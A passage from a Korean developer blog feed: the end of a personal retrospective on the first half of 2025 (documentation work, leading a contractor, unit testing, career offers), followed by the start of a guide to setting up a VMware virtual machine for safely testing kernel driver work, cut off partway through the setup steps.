<p>스크롤 위치도 수동으로 초기화해야 하고,</p>
<p>상태 공유도 직접 구성해야 했습니다.</p>
<p>그래서 라우터는 <code>react-router-dom</code>으로 구성하고,</p>
<p>레이아웃도 직접 갈라야 했고,</p>
<p>페이지마다 <strong>사이드바 유무, 알림 유무, 접근 권한 여부</strong> 등을 직접 조건부로 걸어야 했죠.</p>
<p>진짜 귀찮았지만,</p>
<p>그래도 “이게 프론트엔드 기본기다”라고 생각하면서 배워나갔습니다.</p>
<hr>
<h3 id="근데-그보다-더-힘들었던-건-문서였습니다">근데 그보다 더 힘들었던 건… 문서였습니다</h3>
<p>이때부터 제가 <strong>처음으로 실무 문서를 직접 작성</strong>하게 됐습니다.</p>
<p>그냥 요구사항 적는 수준이 아니라</p>
<p><strong>진짜 ‘기획자처럼’ 정리하는 문서들</strong>이었어요.</p>
<ul>
<li><p><strong>사용자 정의서</strong>:</p>
<p>  이 기능은 누가 언제 어떤 조건에서 사용할 수 있는지,</p>
<p>  경고 메시지는 어떻게 뜨는지, 동작 흐름은 어떻게 되는지를 하나하나 정리</p>
</li>
<li><p><strong>사용자 인터페이스 설계서 (UI 설계서)</strong>:</p>
<p>  버튼 하나, 드롭다운 하나의 상태 변화까지 전부 작성.</p>
<p>  빈 화면일 때는 어떻게 표시되는지, 경고 배너는 언제 나타나는지 등</p>
</li>
<li><p><strong>메뉴 구조 리스트</strong>:</p>
<p>  전체 앱의 좌측 사이드바 구조를 트리 형태로 정리하고,</p>
<p>  접근 권한별로 보이는/안 보이는 메뉴 구분</p>
</li>
<li><p><strong>알림 정의서</strong>:</p>
<p>  어떤 이벤트에 어떤 메시지가, 어떤 타이밍에 어떤 위치에서 떠야 하는지를 일일이 명시</p>
</li>
<li><p><strong>프로그램 명세서</strong>:</p>
<p>  어떤 파일이 어떤 기능을 담당하고,</p>
<p>  내부 API 호출 흐름은 어떻게 되며,</p>
<p>  로그는 어디에 저장되는지까지 다 작성</p>
</li>
</ul>
<p>처음에는 진짜 멘붕이었습니다.</p>
<blockquote>
<p>“개발자가 코드를 안 짜고 왜 이런 걸 쓰고 있지…?”</p>
</blockquote>
<hr>
<h3 id="그런데-문서를-쓰면서-시야가-확장됐다">그런데 문서를 쓰면서 시야가 확장됐다</h3>
<p>하지만 이상하게도</p>
<p>하루 이틀 쓰다 보니 어느 순간 느꼈습니다.</p>
<blockquote>
<p>“이 문서들 덕분에 내가 지금 프로젝트 전체를 이해하고 있구나.”</p>
</blockquote>
<p>단순히 기능을 ‘어떻게’ 구현하는지를 넘어서,</p>
<p><strong>왜 이 기능이 필요한지</strong>,</p>
<p><strong>어떤 예외 케이스를 고려해야 하는지</strong>,</p>
<p><strong>내가 만든 코드가 누구에게 어떤 영향을 주는지</strong>를</p>
<p>정확히 고민하게 되었어요.</p>
<p>그리고 <strong>이런 문서들이 QA, 백엔드, 다른 개발자들과의 소통을 위한 진짜 도구</strong>라는 걸 처음으로 깨달았습니다.</p>
<hr>
<h3 id="내가-코드만-잘-짜면-되는-줄-알았는데">“내가 코드만 잘 짜면 되는 줄 알았는데…”</h3>
<p>이전까지는 솔직히</p>
<p>코드만 잘 짜면 된다고 생각했어요.</p>
<p>근데 3월을 지나고 나니까</p>
<p><strong>코드는 말의 일부일 뿐이라는 걸 체감</strong>했어요.</p>
<ul>
<li>문서를 통해 스펙을 설계하고</li>
<li>회의를 통해 기획을 조율하고</li>
<li>기록을 통해 협업을 유지하고</li>
<li>구현을 통해 책임을 완성하는 것</li>
</ul>
<p>이게 진짜 실무 개발자의 흐름이라는 걸요.</p>
<hr>
<h3 id="주말엔-나만의-electron-공부-시간">주말엔 나만의 Electron 공부 시간</h3>
<p>그래서 주중엔 문서, 회의, 조율…</p>
<p>그리고 <strong>주말엔 나만의 개발 시간이었습니다.</strong></p>
<ul>
<li><code>main.ts</code>, <code>preload.ts</code>의 구조</li>
<li>contextBridge 통한 IPC API 연결</li>
<li>트레이 아이콘 추가</li>
<li>자동 실행 등록</li>
<li><code>.exe</code>로 배포하는 과정까지</li>
</ul>
<p>주말마다 하나씩 실험하면서</p>
<p><strong>진짜 “내가 데스크탑 앱을 만들고 있다”는 자각</strong>이 들었어요.</p>
<p>솔직히 꽤 짜릿했습니다. 😎</p>
<hr>
<h3 id="요약하자면">요약하자면...</h3>
<blockquote>
<p>3월은 “개발자는 코딩만 하지 않는다”는 걸,</p>
<p>그리고 “문서도 코드다”라는 걸</p>
<p>몸으로 배운 한 달이었습니다.</p>
</blockquote>
<p>덕분에 이제는 문서 작성에도 자신감이 생겼고,</p>
<p>사람들과 기능을 논의할 때</p>
<p><strong>기획-개발-디자인-사용자</strong> 전반을 고려하는 시야가 생겼습니다.
사실 이때 사람들이 개발 할 시간 없다 없다 하는걸 이해했습니다. 하하…</p>
<h2 id="🏫-4월--9년-차-용역-개발자를-리딩하다니-내가-이걸-진짜-해내네">🏫 4월 — 9년 차 용역 개발자를 리딩하다니, 내가 이걸 진짜 해내네?</h2>
<p>4월의 키워드는 단연 <strong>‘용역관리’</strong>였습니다.</p>
<p>그냥 개발자 역할을 수행하던 제가,</p>
<p><strong>처음으로 누군가를 관리하고 리딩하는 입장</strong>이 된 거죠.</p>
<p>게다가 상대는... 무려 <strong>9년 차 개발자</strong>였습니다. 😳</p>
<h3 id="제가-이걸-맡아야-하나요">“제가 이걸 맡아야 하나요…?”</h3>
<p>솔직히 처음엔 너무 부담스러웠어요.</p>
<p>“내가 잘못된 피드백을 주면 어쩌지?”</p>
<p>“말투가 날카로워 보이면 실례 아닐까?”</p>
<p>이런 생각이 머릿속에서 빙글빙글 돌았습니다.</p>
<p>하지만 시간이 지날수록 점점 명확해졌어요.</p>
<ul>
<li>개발 연차와 실무 감각은 별개다</li>
<li>기술적으로 리딩이 필요한 건 사실이다</li>
<li>그리고 지금 내가 <strong>이끌지 않으면 프로젝트가 안 굴러간다</strong></li>
</ul>
<p>그래서 저는 용기를 내기로 했고,</p>
<p>문서 하나하나 작성하면서</p>
<p>전체 흐름을 정리하고,</p>
<p>할 일들을 일간/주간 단위로 쪼개서 공유하고,</p>
<p>그분께 코드 리뷰도 조심스럽게 요청하기 시작했어요.</p>
<p>물론 처음엔 어색했지만,</p>
<p>그분이 정말 <strong>너무 착하고 열린 분</strong>이라서 다행히 잘 풀려나갔어요.</p>
<hr>
<h3 id="기술보다-더-어려운-것-사람과의-거리">기술보다 더 어려운 것: 사람과의 거리</h3>
<p>이 일을 하면서 깨달은 건</p>
<p>“리딩은 기술보다 소통이 훨씬 어렵다”는 점이었어요.</p>
<p>실제로 제가 코드를 손대는 시간보다,</p>
<p><strong>할 일을 정의하고, 맞는 방향으로 유도하고, 감정을 조율하는 시간이 더 많았거든요.</strong></p>
<p>특히 제가 맡은 프로젝트는 단순한 페이지 개발이 아니라,</p>
<p>보안 정책과 시스템 흐름, 관리 기능을 통합한 중간 규모 프로젝트였기 때문에</p>
<p>이해관계자도 많고, 논의도 복잡했어요.</p>
<p>그래서 <strong>문서를 정리하고, 일정표를 공유하고, 회의록을 남기는 게 무기</strong>가 되었죠.</p>
<hr>
<h3 id="1년-차-같지-않다는-말">“1년 차 같지 않다”는 말</h3>
<p>그러다 어느 날,</p>
<p>그 용역분께서 이런 말씀을 해주셨어요.</p>
<blockquote>
<p>“사실 연지님 1년 차라고 하셔서 놀랐어요. 진짜 그렇게 안 느껴져요.”</p>
</blockquote>
<p>그 말을 듣고</p>
<p>살짝 눈물날 뻔했습니다. (진짜로요...)</p>
<hr>
<h3 id="도태되지-말자-스스로-다짐하다">도태되지 말자, 스스로 다짐하다</h3>
<p>하지만 동시에</p>
<p>그분을 보면서 느낀 것도 있어요.</p>
<p>9년 차임에도</p>
<p>최근 트렌드나 기술 스택에 익숙하지 못한 모습에서,</p>
<p><strong>“기술적으로 도태되면 안 된다”</strong>는 공포를 느꼈어요.</p>
<p>정말 죄송한 말이지만,</p>
<p>그게 저에겐 강한 자극이 되었습니다.</p>
<p><strong>“착하기만 해선 안 된다. 능력이 있어야 한다.”</strong></p>
<p>이 문장이 마음속에 박혀서</p>
<p>저는 이달부터 더더욱 공부하고 기록하기 시작했어요.</p>
<hr>
<h2 id="🧪-5월--단위-테스트의-철학-그리고-커리어-코칭">🧪 5월 — 단위 테스트의 철학, 그리고 커리어 코칭</h2>
<p>5월은 제 커리어에서 <strong>가장 빡세고 가장 큰 교훈</strong>을 준 시기였습니다.</p>
<p>요약하자면,</p>
<blockquote>
<p>“원래 용역분이 맡았던 프로젝트를, 결국 다시 제가 도맡게 되었습니다.”</p>
</blockquote>
<p>정확히 말하면…</p>
<p>원래도 제가 80%는 다 하고 있었어요.</p>
<p>하지만 보안 정책 처리, 문서화, QA 체크 등</p>
<p>“이건 용역분 몫”이었던 부분이 <strong>완성되지 못한 채</strong> 남게 됐고</p>
<p>결국 마지막까지 책임지고 다 해야 했던 겁니다.</p>
<hr>
<h3 id="si-방식의-민낯">SI 방식의 민낯</h3>
<p>이 시점에서 저는 처음으로</p>
<p><strong>SI 개발 방식의 현실적인 문제</strong>를 체감했습니다.</p>
<ul>
<li>단위 테스트? 거의 없음.</li>
<li>스펙 문서? 중간에 바뀌고 말로 전달됨.</li>
<li>기획자 피드백? 말로 말하고 말로 잊혀짐.</li>
<li>API 연결? 통합 테스트 하나로 퉁치기.</li>
</ul>
<p>처음엔 “이런 게 원래 그런가 보다” 했지만,</p>
<p>문제가 쌓이고 쌓이니까</p>
<p><strong>점점 시스템이 무너지고, 버그가 뻥뻥 터졌어요.</strong></p>
<p>그걸 다 조용히 뒷정리하고 있는 저 자신을 보면서</p>
<p>진심으로 빡쳤습니다 😇 (진심)</p>
<hr>
<h3 id="단위-테스트의-철학-mock부터-써라">단위 테스트의 철학: mock부터 써라</h3>
<p>그때 대표님께서 해주신 말씀이 있어요.</p>
<blockquote>
<p>“단위 테스트는 개발자의 철학이다.</p>
<p>mock 없이 API에 의존하는 테스트는, 개발자가 자신도 못 믿는다는 뜻이다.”</p>
</blockquote>
<p>이 말을 듣고, 진짜 머리를 한 대 맞은 기분이었어요.</p>
<p>그래서 저는 테스트 철학을 갈아엎었습니다.</p>
<p>✅ <strong>목데이터로 구성해서 유닛 단위로 동작 검증</strong></p>
<p>✅ 통합 테스트는 이후 단계</p>
<p>✅ API 실패/성공/지연 등 상태를 미리 상상하고 대응</p>
<p>✅ 테스트를 코드 설계의 일부로 받아들이기</p>
<p>이후부턴 제 코드에 자부심이 조금씩 생기기 시작했어요.</p>
<hr>
<h3 id="그리고-다시-마무리">그리고... 다시 마무리</h3>
<p>결국, 그 용역분과의 협업은 종료됐고</p>
<p>모든 QA 대응과 마무리는 제 몫이 되었습니다.</p>
<p>완벽하진 않았지만,</p>
<p>이 경험은 <strong>제가 리딩부터 기획, 설계, 테스트, 배포까지</strong></p>
<p>진짜로 <strong>‘혼자서 다 해봤다’</strong>는 자신감을 심어줬어요.</p>
<p>그리고 느꼈습니다.</p>
<p><strong>“이제 나는 진짜 개발자다.”</strong></p>
<p><strong>“이젠 누구의 보조가 아닌, 내가 중심인 프로젝트를 만들어가고 있다.”</strong></p>
<hr>
<h3 id="동시에-커리어-프로그램도-병행했습니다">동시에, 커리어 프로그램도 병행했습니다</h3>
<p>이 바쁜 와중에도,</p>
<p><strong>코드잇 커리어 프로그램</strong>을 병행하고 있었어요.</p>
<h3 id="이력서-피드백--정호영-멘토님의-현실적-조언">이력서 피드백 — 정호영 멘토님의 현실적 조언</h3>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/b2c41354-6e70-4048-9d1a-3aee862680d6/image.png" alt=""></p>
<p>저는 이 과정에서</p>
<p><strong>카카오웹툰 프론트엔드 개발자 정호영님</strong>께</p>
<p><strong>이력서 피드백을 받았습니다.</strong></p>
<p>정말 꼼꼼하고 직설적인 피드백이 인상 깊었고,</p>
<p>제가 간과했던 부분들 — 예를 들어</p>
<p>“이건 구현은 했지만 결과만 적혀 있고, 과정이 없어요”</p>
<p>“협업 경험이라 쓰셨지만, 구체적인 협업 방식이 빠져 있어요”</p>
<p>같은 부분을 정확히 짚어주셨어요.</p>
<p>덕분에 이력서를 기술 중심 → 문제 해결 중심으로 고쳐 쓰게 되었고,</p>
<p><strong>‘내가 무엇을 했는가’보다
‘왜, 어떻게 했는가’를 쓰는 게 더 중요하구나</strong>를 처음 체감했습니다.</p>
<hr>
<h3 id="모의-면접--다른-멘토님과-진행한-현실-점검의-시간">모의 면접 — 다른 멘토님과 진행한 현실 점검의 시간</h3>
<p>이후에 진행된 <strong>모의 면접</strong>은</p>
<p>다른 프론트엔드 멘토님과 진행됐습니다.</p>
<p>그리고 이 시간이 제겐... 꽤 충격이었어요.</p>
<p>질문을 받을 땐 아는 것 같았는데,</p>
<p>막상 말하려니 <strong>단어가 안 나오고, 정리가 안 되더라구요.</strong></p>
<blockquote>
<p>“나는 기능은 만들 줄 아는데,</p>
<p>원리를 설명할 수는 없구나.”</p>
</blockquote>
<p><strong>“기초 개념이 튼튼하지 않으면, 결국 무너질 수밖에 없겠다.”</strong></p>
<p>이걸 뼈저리게 느꼈습니다.</p>
<p>지금도 시간을 쪼개서 하나씩 정리하고 있어요.</p>
<hr>
<h3 id="그리고-토스-광탈">그리고... 토스 광탈</h3>
<p>그렇게 코칭을 받으면서</p>
<p>“그래도 이참에 도전해보자!” 하고</p>
<p><strong>토스에 이력서를 넣어봤습니다.</strong></p>
<p>결과는요...</p>
<p><strong>광탈</strong>이었습니다. 😇</p>
<p>근데 웃긴 건,</p>
<p><strong>이번엔 진짜 괜찮았어요.</strong></p>
<p>왜냐면 그 전까지는</p>
<p>“떨어지면 내 커리어가 끝난 것 같고,</p>
<p>나는 못난 사람인가?” 같은 감정이 컸는데</p>
<p>이번엔 그냥</p>
<p><strong>&quot;내가 아직 준비 안 됐으니까 그렇지.
괜찮아, 다시 채우면 돼.”</strong>
이렇게 생각이 들더라고요.</p>
<hr>
<h3 id="정리하자면">정리하자면…</h3>
<blockquote>
<p>“5월은 기술적으로도, 정신적으로도</p>
<p>내가 진짜 성장을 시작한 시점이었다.”</p>
</blockquote>
<ul>
<li>용역 프로젝트에서 <strong>실제 리딩과 마무리를 경험</strong>했고</li>
<li>커리어 코칭을 통해 <strong>나의 얕음, 조급함, 욕심</strong>을 정면으로 마주했고</li>
<li>테스트와 협업 방식, <strong>개발자 마인드셋</strong>이 크게 성장했습니다.</li>
</ul>
<p>이때 느낀 감정, 배움은</p>
<p>그 어떤 포트폴리오보다 제 성장의 증거가 되었어요.</p>
<h2 id="🌀-6월--스카웃-제안-유혹-그리고-지금-이-자리를-지킨다는-것">🌀 6월 — 스카웃, 제안, 유혹… 그리고 “지금 이 자리를 지킨다는 것”</h2>
<p>6월은 뭔가 특별하게도,</p>
<p><strong>많은 제안이 한꺼번에 쏟아진 시기</strong>였습니다.</p>
<p>먼저,</p>
<p>예전에 함께 일했던 전 직장 상사에게 연락이 왔어요.</p>
<blockquote>
<p>“연지씨, 다시 같이 일해볼 생각 없어요?”</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/503b0ef6-3dc8-4b02-9b7a-b5220eceb148/image.png" alt=""></p>
<p>갑작스러운 연락에 놀라기도 했지만,</p>
<p>한편으로는 제가 회사에서의 실력과 태도를 좋게 봐주셨다는 뜻 같아서 감사했습니다.</p>
<p>그 뒤로는 진짜 정신없었어요.</p>
<p><strong>서울에서의 헤드헌터 연락</strong>,
<img src="https://velog.velcdn.com/images/songyeonji_/post/5c75da23-a785-4adf-92bc-d0a5b9bfafdd/image.png" alt=""></p>
<p><strong>클래스101에서 강의 제의</strong>,
<img src="https://velog.velcdn.com/images/songyeonji_/post/9b5a77e8-5449-4303-a816-4036cc5c610a/image.png" alt=""></p>
<p><strong>타 회사에서 &#39;연봉 800만 원 더 얹어줄게요&#39;라는 파격 제안</strong>까지.
<img src="https://velog.velcdn.com/images/songyeonji_/post/86e9cf72-75ec-4d96-b698-f3bf4b6df094/image.png" alt=""></p>
<p>800이라는 숫자,</p>
<p>솔직히 흔들렸어요.</p>
<p>연봉은 곧 제 가치처럼 느껴졌거든요.</p>
<p>“내가 이만큼 받아도 되나?” “받을 자격이 있을까?”</p>
<p>하지만 곰곰이 생각해봤어요.</p>
<hr>
<h3 id="지금-떠나면-내가-배울-수-있는-것들을-놓치는-건-아닐까">지금 떠나면, 내가 배울 수 있는 것들을 놓치는 건 아닐까?</h3>
<p>지금 회사에선</p>
<ul>
<li>Electron이라는 새로운 도전</li>
<li>엔진, 파이프, IPC라는 시스템 레벨의 경험</li>
<li>보안 도메인의 실무 지식</li>
<li>좋은 동료들</li>
</ul>
<p>이 모든 걸 함께하고 있는데</p>
<p><strong>너무 짧은 시간에 옮겨버리면, 이 소중한 것들을 제대로 흡수하지 못한 채 떠나는 건 아닐까?</strong></p>
<p>그런 마음이 들었어요.</p>
<p>한편으로는 나를 다시 찾아주는 사람도 있고,</p>
<p>기회를 주는 곳도 있다는 것이</p>
<p>“나, 나름 잘해왔구나” 싶은 작은 위로가 되기도 했습니다.</p>
<p>그동안 해왔던 선택이 틀리지 않았다는 걸,</p>
<p>조금은 증명받은 기분이랄까요.</p>
<p>지금 제 일상이 비록 힘들고 녹초가 될 때도 있지만,</p>
<p><strong>저는 여전히 재미있고, 배우고 있다는 걸 부정할 수 없었어요.</strong></p>
<p>그래서 저는</p>
<p><strong>제안들을 전부 정중하게 거절</strong>했습니다.</p>
<p>그리고 그 결정이</p>
<p>지금도 마음에 남습니다.</p>
<p>“잘했다”고 말해줄 수 있는 선택이었다고 생각해요.</p>
<hr>
<h2 id="🧠-총정리--나는-부족하고-욕심-많고-그래서-성장한다">🧠 총정리 — 나는 부족하고, 욕심 많고, 그래서 성장한다</h2>
<p>상반기를 다 돌아보고 나니 머릿속에 제일 많이 남는 감정은 이겁니다.</p>
<blockquote>
<p>“나는 부족하고, 욕심이 많고, 그래서 계속 성장하고 싶다.”</p>
</blockquote>
<p>저는 여전히</p>
<ul>
<li>서울로 가야 할까 고민하고,</li>
<li>좋은 회사에 가고 싶어 하면서도,</li>
<li>대전을 떠나기 싫어하고,</li>
<li>커리어도, 인간관계도, 사랑도, 다 지키고 싶어하는...</li>
</ul>
<p><strong>끝도 없이 고민하는 사람</strong>입니다.</p>
<p>누구는 “하나만 선택하라”고 하지만 </p>
<p>저는 여전히 <strong>모든 걸 욕심내는 사람</strong>이고</p>
<p>그 욕심 때문에 저는 <strong>움직이게 되고, 계속 배우게 되고, 결국에는 성장하게 된다고 믿어요.</strong></p>
<p>그리고 드디어 알게 된 사실 하나.</p>
<blockquote>
<p>“선택은 무섭지만, 아무것도 안 하는 건 더 무섭다.”</p>
</blockquote>
<p>그래서 이제는</p>
<p>미뤄왔던 개념 공부를 다시 시작하려고 해요.</p>
<p>어설픈 포트폴리오도 정리하고, 사이드 프로젝트도 하나하나 다시 점검하고,</p>
<p><strong>언젠가 꼭 가고 싶었던 회사들을 향해 하나씩 도전</strong>하려고 해요.</p>
<hr>
<p>그리고 한 가지 더.</p>
<p>개발자를 꿈꾼 지 벌써 <strong>3년</strong>,</p>
<p>개발자로 실제로 일을 한 지는 <strong>1년을 조금 넘은</strong> 지금,</p>
<p>한 가지 분명하게 말할 수 있는 게 있어요.</p>
<p>요즘 세상은 AI가 개발자를 없앨 거라고 말하곤 합니다.</p>
<p>그리고 저도 그 얘기를 들을 때마다 두려워요. 정말로요.</p>
<p>하지만 그럼에도 불구하고</p>
<p><strong>저는 여전히 ‘개발’이라는 일이 좋습니다.</strong></p>
<p>코드를 짜서 무언가가 <strong>제 손으로 완성될 때마다</strong>,</p>
<p>머릿속에서 도파민이, 심장에서 옥시토신이 뿜뿜합니다.</p>
<blockquote>
<p>그 짜릿한 이쾌감을 저는</p>
<p>앞으로도 <strong>내 힘이 닿는 데까지 계속 느끼고 싶어요.</strong></p>
</blockquote>
<p>AI가 개발자를 대체한다는 말, 이제는 익숙하죠. 저도 두려워요.</p>
<p>하지만 두려움에 가만히 있을 수는 없잖아요.</p>
<p>그래서 저는 <strong>AI를 두려워하기보다, 활용할 줄 아는 개발자가 되고 싶습니다.</strong></p>
<p>주판에서 계산기로, 수기에서 엑셀로 넘어갔듯</p>
<p>AI도 결국엔 <strong>“도구”일 뿐</strong>이고,</p>
<p><strong>도구는 잘 쓰는 사람이 이깁니다.</strong></p>
<p>처음 주판에서 계산기로, 수기에서 엑셀로 넘어갔듯</p>
<p>AI도 결국엔 <strong>“도구”일 뿐</strong>이니까요.</p>
<p>잡아먹히지 않기 위해선</p>
<p>계속 배우고, 변화에 반응하고, 스스로를 계속 단련해야 한다는 것도 알게 됐어요.</p>
<p>그래서 저는 지금도 계속 배우고 있어요.</p>
<p>이 직업, 끝없이 공부해야 하는 게 피곤할 때도 있지만</p>
<p>그만큼 <strong>계속 새롭고, 계속 재밌습니다.</strong></p>
<p>그래서 저는요,  <strong>다 지키는 욕심쟁이</strong>가 되고 싶습니다.</p>
<p>개발도 놓치고 싶지 않고,</p>
<p>내 사람들도 놓치고 싶지 않고,</p>
<p>좋은 커리어도 가지고 싶고,</p>
<p>내 삶도 지키고 싶어요.</p>
<p>겁도 나고, 욕심도 많고,</p>
<p>그래도 저는 <strong>계속 배우고 걸어가는 사람</strong>이고 싶습니다.</p>
<p>잡아먹히지 않기 위해,</p>
<p>계속 배우고, 계속 실험하고, 계속 도전할 거예요. 올 하반기에도 <strong>한 발짝씩 묵묵히 걸어가 볼 생각입니다.</strong></p>
<hr>
<h2 id="🎬-진짜-마무리">🎬 진짜 마무리</h2>
<p>2025년 상반기,</p>
<p>저는 무수히 많은 처음을 겪었습니다.</p>
<ul>
<li>처음으로 데스크탑 앱을 만들고</li>
<li>처음으로 9년 차 개발자를 리딩하고</li>
<li>처음으로 모든 프로젝트를 내 손으로 마무리하고</li>
<li>처음으로 나의 부족함을 명확히 인지하고</li>
<li>처음으로 커리어 코칭을 받으며 벽을 느끼고</li>
<li>그리고 처음으로 정말 많은 제안을 “거절”했습니다.</li>
</ul>
<p>이 모든 걸 통해</p>
<p>저는 <strong>단단해졌고, 더 넓어졌고, 더 겸손해졌습니다.</strong></p>
<p>누군가는 이 글을 보며 이렇게 말할 수도 있어요.</p>
<blockquote>
<p>“그렇게 열심히 했는데, 아직도 이직 못했어?”</p>
<p>“대기업 못 갔어?”</p>
</blockquote>
<p>그럴 수 있죠. 하지만 저는 말하고 싶어요.</p>
<blockquote>
<p>“저는 천천히 그렇지만, 꾸준히 자랄 거에요.”</p>
</blockquote>
<p>하반기엔 더더욱 발전해서</p>
<p>언젠가 다음의 회고록은</p>
<p><strong>“내가 꿈꾸던 곳에 도착했다.”</strong></p>
<p>그런 이야기로 마무리할 수 있기를 바랍니다.</p>
<hr>
<p>읽어주셔서 진심으로 감사합니다.</p>
<p>이 긴 회고록이 누군가에겐 위로이자, 자극이 되었길 바라며</p>
<p>하반기에도 다시 찾아뵐게요 :)</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[ 커널을 건드리는 기술은 가상머신에서 테스트해야 합니다 (VMware 설정 가이드)]]></title>
            <link>https://velog.io/@songyeonji_/%EC%BB%A4%EB%84%90%EC%9D%84-%EA%B1%B4%EB%93%9C%EB%A6%AC%EB%8A%94-%EA%B8%B0%EC%88%A0%EC%9D%80-%EA%B0%80%EC%83%81%EB%A8%B8%EC%8B%A0%EC%97%90%EC%84%9C-%ED%85%8C%EC%8A%A4%ED%8A%B8%ED%95%B4%EC%95%BC-%ED%95%A9%EB%8B%88%EB%8B%A4-VMware-%EC%84%A4%EC%A0%95-%EA%B0%80%EC%9D%B4%EB%93%9C</link>
            <guid>https://velog.io/@songyeonji_/%EC%BB%A4%EB%84%90%EC%9D%84-%EA%B1%B4%EB%93%9C%EB%A6%AC%EB%8A%94-%EA%B8%B0%EC%88%A0%EC%9D%80-%EA%B0%80%EC%83%81%EB%A8%B8%EC%8B%A0%EC%97%90%EC%84%9C-%ED%85%8C%EC%8A%A4%ED%8A%B8%ED%95%B4%EC%95%BC-%ED%95%A9%EB%8B%88%EB%8B%A4-VMware-%EC%84%A4%EC%A0%95-%EA%B0%80%EC%9D%B4%EB%93%9C</guid>
            <pubDate>Tue, 15 Jul 2025 00:28:06 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/64d4c76b-6a5d-4a9b-bd4a-fa60922408ff/image.png" alt="">
시스템 커널 단에 접근하거나 드라이버를 후킹하고, 보안 모듈을 붙이는 작업을 진행하다 보면 이런 생각이 듭니다.</p>
<blockquote>
<p>“이 작업, 잘못 붙였다간 블루스크린(BSOD) 뜨는 거 아닌가요?”</p>
</blockquote>
<p>실제로 커널 단 작업은 <strong>단 하나의 실수</strong>만으로도 시스템이 멈추거나 부팅이 불가능해질 수 있습니다. 그렇기 때문에 많은 개발자들이 <strong>가상머신(Virtual Machine, VM)</strong>을 사용하여 테스트를 진행합니다.</p>
<p>제 메인 PC가 무너지면 저의 하루는 끝이기 때문입니다.</p>
<hr>
<h3 id="🤔-가상머신을-사용해야-하는-이유">🤔 가상머신을 사용해야 하는 이유</h3>
<p>제가 진행하는 작업은 운영체제 깊숙한 곳, 즉 <strong>커널 레벨</strong>까지 접근하는 작업입니다.</p>
<p>예를 들어 드라이버를 설치하거나, 보안 소프트웨어처럼 시스템 콜을 가로채는 코드들은 <strong>예외 처리 한 줄이 누락되면 블루스크린이 발생</strong>할 수 있습니다.</p>
<ul>
<li>테스트 서명(bcdedit)을 잘못 켜거나 끄면 부팅 불가</li>
<li>드라이버 서명 인증에 실패하면 OS가 실행되지 않음</li>
<li>예외 없는 후킹 코드 테스트 시 전체 시스템이 중단</li>
</ul>
<p>이러한 위험을 안전하게 분리된 공간에서 테스트할 수 있는 유일한 방법이 <strong>가상머신을 사용하는 것</strong>입니다.</p>
<hr>
<h3 id="🧾-주요-가상머신-종류-및-장단점-비교">🧾 주요 가상머신 종류 및 장단점 비교</h3>
<table>
<thead>
<tr>
<th>가상머신 종류</th>
<th>설명</th>
<th>장점</th>
<th>단점</th>
</tr>
</thead>
<tbody><tr>
<td><strong>VMware Workstation</strong></td>
<td>Windows 기반 데스크탑 가상화 솔루션</td>
<td>안정성 우수, 스냅샷 기능, 장치 연결 뛰어남</td>
<td>상용(유료), 무겁고 리소스 많이 소모함</td>
</tr>
<tr>
<td><strong>VirtualBox</strong></td>
<td>Oracle 제공 오픈소스 가상머신</td>
<td>무료, 가볍고 빠름, 다양한 OS 지원</td>
<td>GUI 불편, 드라이버 충돌 빈번, 3D 가속 취약</td>
</tr>
<tr>
<td><strong>Hyper-V</strong></td>
<td>Windows Pro 이상에 내장된 가상화 도구</td>
<td>Windows에 통합, 성능 우수, 스냅샷 가능</td>
<td>설정 복잡, USB 직결 어렵고 일부 OS에서 오류 발생</td>
</tr>
<tr>
<td><strong>QEMU + KVM</strong></td>
<td>Linux 기반 고성능 가상화 솔루션</td>
<td>고성능, 자동화에 적합, 오픈소스</td>
<td>CLI 중심, 설정 복잡, GUI 환경 구축 필요</td>
</tr>
<tr>
<td><strong>Parallels</strong></td>
<td>macOS 전용 상용 가상머신</td>
<td>macOS 호환 우수, 부드러운 UX</td>
<td>유료, mac 전용, 고급 설정 제한</td>
</tr>
</tbody></table>
<hr>
<h3 id="🛠-저는-vmware-workstation을-선택했습니다">🛠 저는 VMware Workstation을 선택했습니다</h3>
<p>제가 VMware를 선택한 이유는 다음과 같습니다.</p>
<ul>
<li><strong>Windows 커널 드라이버 테스트</strong>를 안전하게 진행할 수 있습니다.</li>
<li><strong>스냅샷 기능</strong>을 통해 커널 변경 전 상태로 되돌릴 수 있어 실수 복구가 쉽습니다.</li>
<li><strong>USB 디바이스 테스트</strong>가 필요했는데, VMware의 USB passthrough 안정성이 매우 뛰어났습니다.</li>
<li>무엇보다 <strong>UI가 직관적</strong>이어서 복잡한 설정 없이 가상머신을 구성할 수 있었습니다.</li>
</ul>
<hr>
<h3 id="💻-vmware-workstation-설치-및-설정-방법">💻 VMware Workstation 설치 및 설정 방법</h3>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/5e645228-4e11-4b79-9fcf-dc3c0458c1f1/image.png" alt=""></p>
<h4 id="1-vmware-설치-파일-다운로드">1. VMware 설치 파일 다운로드</h4>
<ul>
<li>공식 웹사이트: <a href="https://www.vmware.com/">https://www.vmware.com</a></li>
<li>“VMware Workstation Pro” 또는 비상업용 무료인 “Player” 중 선택하였습니다.</li>
</ul>
<h4 id="2-설치">2. 설치</h4>
<ul>
<li>다운로드한 <code>.exe</code> 파일을 실행하여 기본값으로 설치하였습니다.</li>
<li>설치 후에는 시스템 재부팅을 한 번 진행하였습니다.</li>
</ul>
<h4 id="3-가상머신-생성">3. 가상머신 생성</h4>
<ul>
<li>VMware를 실행한 뒤, “Create New Virtual Machine”을 클릭하였습니다.</li>
<li>Typical 모드를 선택하였으며, 테스트용으로 Windows 10 ISO 이미지를 지정하였습니다.</li>
</ul>
<h4 id="4-가상-디스크-및-저장-위치-설정">4. 가상 디스크 및 저장 위치 설정</h4>
<ul>
<li>가상머신 이름은 <code>DriverTest_VM</code>으로 지정하였고, 저장 위치는 SSD 드라이브로 설정하였습니다.</li>
<li>디스크 용량은 60GB로 설정하였으며, 성능을 고려하여 “단일 파일로 저장” 옵션을 선택하였습니다.</li>
</ul>
<h4 id="5-하드웨어-커스터마이징">5. 하드웨어 커스터마이징</h4>
<ul>
<li>CPU는 2코어 이상, 메모리는 4GB 이상 할당하였습니다.</li>
<li>USB 장치 연결을 위해 USB 컨트롤러를 활성화하였고, 네트워크는 NAT로 설정하였습니다.</li>
